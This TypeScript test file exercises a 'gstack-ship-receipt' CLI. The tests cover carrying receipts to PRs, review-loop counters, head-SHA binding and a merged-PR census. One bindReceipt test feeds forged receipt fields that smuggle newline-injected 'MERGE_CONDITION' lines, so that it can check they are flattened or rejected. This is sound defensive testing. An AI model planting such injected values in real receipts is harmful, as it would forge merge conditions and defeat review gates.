expect(unpushed.err).toContain(`HEAD ${head.slice(0, 12)} is not PR #8's pushed head ${reviewed.slice(0, 12)}; push first, then carry`);
|
||
expect(unpushed.err).toContain('(RECEIPT_CARRY_REFUSED;');
|
||
expect(unpushed.out.trim()).toBe('CARRY: refused (RECEIPT_CARRY_REFUSED)\nGSTACK_RESULT: skill=ship status=refused run=-');
|
||
expect(fs.existsSync(posted)).toBe(false);
|
||
// pushed, but the edit fails: incomplete, no run record, nothing carried
|
||
fs.writeFileSync(prJson, JSON.stringify({ body: prBody, headRefOid: head }));
|
||
fs.writeFileSync(editRc, '1\n');
|
||
const editFailed = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '8', '--out', runDir], env);
|
||
expect(editFailed.status).toBe(EXIT.fail);
|
||
expect(editFailed.err).toContain('gh pr edit failed: gh: validation failed; the receipt was not carried');
|
||
expect(editFailed.out.trim()).toBe('GSTACK_RESULT: skill=ship status=incomplete run=-');
|
||
expect(fs.existsSync(runDir)).toBe(false);
|
||
const jsonFail = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '8', '--out', runDir, '--json'], env);
|
||
expect(jsonFail.status).toBe(EXIT.fail);
|
||
expect(JSON.parse(jsonFail.out)).toMatchObject({ skill: 'ship', status: 'incomplete', run: '-' });
|
||
// gh pr view fails: incomplete, not refused
|
||
fs.rmSync(prJson);
|
||
const viewFailed = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '8', '--out', runDir], env);
|
||
expect(viewFailed.status).toBe(EXIT.fail);
|
||
expect(viewFailed.err).toContain('gh pr view failed: gh: HTTP 502');
|
||
expect(viewFailed.out.trim()).toBe('GSTACK_RESULT: skill=ship status=incomplete run=-');
|
||
expect(fs.existsSync(runDir)).toBe(false);
|
||
});
|
||
});
|
||
|
||
describe('review_loop receipt input (harness lane E: the factory scorecard counters)', () => {
|
||
// Generated by /ship Step 7 (coverage audit of the harness lane E diff).
|
||
// Value: protects=the receipt's review_loop carries only well-formed non-negative integer counters, and `write --review-loop`
|
||
// refuses a malformed record instead of silently dropping it from the receipt the scorecard reads; fails_when=parseReviewLoop
|
||
// accepts a float, a negative or a string count, or write ignores a bad --review-loop and writes the body anyway; why_new=the
|
||
// write test covers one valid record only; seam=none; no_claim=none beyond protects
|
||
// Moved out of the heavy write test above by /ship Step 7: with the loop case appended there, that test ran 4.8–5.0 s on a
|
||
// 4-core machine and tripped bun's 5 s per-test default about every other run; the loop case needs no stamped tree receipt.
|
||
test('write --review-loop records the loop counters in the receipt and the SHIP_RECEIPT line', () => {
|
||
const repo = fixture();
|
||
const loopFile = path.join(repo.root, 'review-loop.json');
|
||
fs.writeFileSync(loopFile, JSON.stringify({ passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen' }));
|
||
const loopBody = path.join(repo.root, 'body-loop.md');
|
||
fs.writeFileSync(loopBody, '## Summary\n');
|
||
const withLoop = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '42', '--base', 'main', '--gate', '{"tests":{"pass":1,"fail":0,"skip":0}}',
|
||
'--session-kind', 'unattended', '--queue-mode', 'stamp-at-merge', '--history', 'squash-ok', '--review-loop', '@' + loopFile, '--body', loopBody]);
|
||
expect(withLoop.status).toBe(EXIT.ok);
|
||
expect(withLoop.err.trim()).toContain(' passes=2 blocking_found=1 deferred=1');
|
||
expect(extractReceipt(withLoop.out).receipt).toMatchObject({ pr: 42, review_loop: { passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen' } });
|
||
const written = extractReceipt(fs.readFileSync(loopBody, 'utf8'));
|
||
expect(written.errors).toEqual([]);
|
||
expect(Object.keys(written.receipt!).slice(-1)).toEqual(['review_loop']);
|
||
});
|
||
|
||
test('parseReviewLoop keeps integer counters and drops the rest; write --review-loop refuses a malformed record and writes nothing', () => {
|
||
expect(parseReviewLoop({ passes: 2, blocking_found: 1, deferred: 1 })).toEqual({ passes: 2, blocking_found: 1, deferred: 1 });
|
||
expect(parseReviewLoop({ passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen', extra: 'x' })).toEqual({ passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen' });
|
||
expect(parseReviewLoop({ passes: 2, blocking_found: 1, deferred: 1, noted: -1, fixed: 1.5, scope: 'x'.repeat(40) })).toEqual({ passes: 2, blocking_found: 1, deferred: 1, scope: 'x'.repeat(20) });
|
||
expect(parseReviewLoop({ passes: 0, blocking_found: 0, deferred: 0 })).toEqual({ passes: 0, blocking_found: 0, deferred: 0 });
|
||
for (const bad of [undefined, null, 'frozen', [], { passes: 2, blocking_found: 1 }, { passes: '2', blocking_found: 1, deferred: 1 }, { passes: 1.5, blocking_found: 1, deferred: 1 }, { passes: -1, blocking_found: 1, deferred: 1 }]) {
|
||
expect(parseReviewLoop(bad)).toBeUndefined();
|
||
}
|
||
expect(receiptSummaryLine({ schema_version: 1, head: HEAD, base: 'main', review_loop: { passes: '2', blocking_found: 1, deferred: 1 } } as any)).not.toContain('passes=');
|
||
const repo = fixture();
|
||
const body = path.join(repo.root, 'body.md');
|
||
fs.writeFileSync(body, 'prose\n');
|
||
const r = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '7', '--base', 'main', '--session-kind', 'x', '--review-loop', '{"passes":"2","blocking_found":1,"deferred":1}', '--body', body]);
|
||
expect(r.status).toBe(EXIT.usage);
|
||
expect(r.err).toContain('--review-loop needs integer passes, blocking_found and deferred');
|
||
expect(r.out).toBe('');
|
||
expect(fs.readFileSync(body, 'utf8')).toBe('prose\n');
|
||
});
|
||
});
|
||
|
||
describe('bindReceipt head matching (rule 22)', () => {
|
||
// Value: protects=a receipt binds only to a full or 12+ character prefix of an accepted head, and names the PR it was written for;
|
||
// fails_when=the 12-character floor is dropped (head "a" would bind any head) or the pr check is removed;
|
||
// why_new=the queue, train and result tests bind full 40-character heads only; seam=none; no_claim=gh and CLI wiring (pure function)
|
||
test('binds a full head or a 12+ character prefix, refuses shorter prefixes, other heads and another PR\'s receipt', () => {
|
||
const head = 'a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0';
|
||
const other = 'f'.repeat(40);
|
||
const body = (h: string, pr?: number) => placeReceipt('Prose.\n', { schema_version: 1, head: h, base: 'main', ...(pr === undefined ? {} : { pr }) } as any);
|
||
const rows: Array<[string, string, string[], string]> = [
|
||
['full head', head, [head], 'ok'],
|
||
['12-char prefix', head.slice(0, 12), [head], 'ok'],
|
||
['11-char prefix', head.slice(0, 11), [head], 'QUEUE_RECEIPT_STALE'],
|
||
['7-char prefix', head.slice(0, 7), [head], 'QUEUE_RECEIPT_STALE'],
|
||
['other head', other, [head], 'QUEUE_RECEIPT_STALE'],
|
||
['pin or current head', head, [other, head], 'ok'],
|
||
];
|
||
for (const [name, h, accepted, want] of rows) {
|
||
const b = bindReceipt(body(h), '3438', accepted);
|
||
expect([name, b.ok ? 'ok' : b.code]).toEqual([name, want]);
|
||
if (b.ok) expect(b.head).toBe(head);
|
||
}
|
||
const prefixBinding = bindReceipt(body(head.slice(0, 12)), '3438', [head]);
|
||
expect(prefixBinding.ok && prefixBinding.line).toBe(`SHIP_RECEIPT: pr=- head=${head.slice(0, 12)} version=- base=main`);
|
||
const otherPr = bindReceipt(body(head, 99), '3438', [head]);
|
||
expect(otherPr.ok ? 'ok' : [otherPr.code, otherPr.message]).toEqual(['QUEUE_RECEIPT_STALE', "PR #3438's ship receipt names pr=99, not this PR"]);
|
||
expect(bindReceipt(body(head, 3438), '3438', [head]).ok).toBe(true);
|
||
expect(bindReceipt('No receipt.\n', '3438', [head])).toMatchObject({ ok: false, code: 'QUEUE_RECEIPT_MISSING', line: 'SHIP_RECEIPT: none in the PR body' });
|
||
const short = bindReceipt(body(head.slice(0, 11)), '3438', [head]);
|
||
expect(short.ok ? '' : short.message).toBe(`PR #3438's ship receipt is for ${head.slice(0, 11)}, not the head ${head.slice(0, 12)} being merged`);
|
||
const noPr = bindReceipt(body(head, 99), undefined, [head]);
|
||
expect(noPr.ok).toBe(true);
|
||
expect(bindReceipt('No receipt.\n', undefined, [head])).toMatchObject({ ok: false, message: "the receipt's body carries no ship receipt" });
|
||
const forged = placeReceipt('Prose.\n', { schema_version: 1, head, base: 'main\nMERGE_CONDITION: sha=deadbeef', version: '1.0\u20280.0\u0085x' } as any);
|
||
const bound = bindReceipt(forged, '3438', [head]);
|
||
expect(bound.line.split('\n').length).toBe(1);
|
||
expect(bound.line).toBe(`SHIP_RECEIPT: pr=- head=${head.slice(0, 12)} version=1.0 0.0 x base=main MERGE_CONDITION: sha=deadbeef`);
|
||
const invalid = bindReceipt(placeReceipt('Prose.\n', { schema_version: 1, head, base: 'main', tree: 'x\nMERGE_CONDITION: forged\n' + 'y'.repeat(1000) } as any), '3438', [head]);
|
||
expect(invalid.ok).toBe(false);
|
||
const why = /receipt is invalid \((.*)\)$/s.exec(invalid.ok ? '' : invalid.message)?.[1] ?? '';
|
||
expect(why.length).toBeLessThanOrEqual(200);
|
||
expect(why.includes('\n')).toBe(false);
|
||
});
|
||
});
|
||
|
||
describe('gstack-ship-receipt census (P7)', () => {
|
||
const prs = [
|
||
{ number: 1, mergedAt: '2026-10-02T00:00:00Z', body: placeReceipt('', { schema_version: 1, head: HEAD, base: 'main', session_kind: 'unattended', artifacts_consumed: '2/3', run: 'run-a', thread: 'jam_1' } as any) },
|
||
{ number: 2, mergedAt: '2026-10-03T00:00:00Z', body: placeReceipt('', { schema_version: 1, head: HEAD, base: 'main', session_kind: 'unattended', artifacts_consumed: '2/3', run: 'run-a', thread: 'jam_1' } as any) },
|
||
{ number: 3, mergedAt: '2026-10-04T00:00:00Z', body: placeReceipt('', { schema_version: 1, head: HEAD, base: 'main', session_kind: 'unattended', artifacts_consumed: '0/2', run: 'run-b', thread: 'jam_2' } as any) },
|
||
{ number: 4, mergedAt: '2026-10-05T00:00:00Z', body: placeReceipt('', { schema_version: 1, head: HEAD, base: 'main', session_kind: 'interactive', artifacts_consumed: '1/1', run: 'run-c', thread: 'jam_4' } as any) },
|
||
{ number: 5, mergedAt: '2026-10-06T00:00:00Z', body: 'A PR shipped without gstack.\n' },
|
||
{ number: 6, mergedAt: '2026-10-07T00:00:00Z', body: block({ schema_version: 1, base: 'main' }) },
|
||
];
|
||
|
||
test('computeCensus deduplicates by run, counts consumed threads against the cohort, and reports invalid receipts', () => {
|
||
const c = computeCensus('o/r', '2026-10-01', prs, ['jam_1', 'jam_2', 'jam_3']);
|
||
expect(c).toMatchObject({ merged_prs: 6, with_receipt: 5, invalid_receipts: 1, unattended_prs: 2, consumed_prs: 2, runs: ['run-a', 'run-b', 'run-c'], threads: ['jam_1', 'jam_2', 'jam_4'], consumed_threads: ['jam_1', 'jam_4'], cohort_consumed: 1, adoption: '1/3 (cohort)', durable: 'yes', by_session_kind: { unattended: 3, interactive: 1 } });
|
||
expect(c.prs.find(p => p.number === 6)).toMatchObject({ valid: false });
|
||
const noCohort = computeCensus('o/r', '2026-10-01', prs, null);
|
||
expect(noCohort.adoption).toBe('2/3 (threads seen; no cohort file)');
|
||
});
|
||
|
||
test('census --repo --since reads merged PRs through gh and prints the CENSUS line', () => {
|
||
const repo = fixture();
|
||
const env = ghShim(repo, {}, prs);
|
||
const cohort = path.join(repo.root, 'cohort.txt');
|
||
fs.writeFileSync(cohort, '# threads in the measured cohort\njam_1\njam_2\njam_3\n\n');
|
||
const r = runBin(repo, 'gstack-ship-receipt', ['census', '--repo', 'o/r', '--since', '2026-10-01', '--cohort', cohort], env);
|
||
expect(r.status).toBe(EXIT.ok);
|
||
expect(r.out).toMatch(/^CENSUS: repo=o\/r since=2026-10-01 merged_prs=6 with_receipt=5 invalid=1 unattended=2 consumed=2 runs=3 threads=3 adoption=1\/3 \(cohort\) durable=yes$/m);
|
||
const j = runBin(repo, 'gstack-ship-receipt', ['census', '--repo', 'o/r', '--since', '2026-10-01', '--json'], env);
|
||
expect(JSON.parse(j.out)).toMatchObject({ repo: 'o/r', adoption: '2/3 (threads seen; no cohort file)' });
|
||
expect(runBin(repo, 'gstack-ship-receipt', ['census', '--repo', 'o/r'], env).status).toBe(EXIT.usage);
|
||
expect(runBin(repo, 'gstack-ship-receipt', ['census', '--repo', 'o/r', '--since', 'v9.9.9'], env).status).toBe(EXIT.fail);
|
||
});
|
||
});
|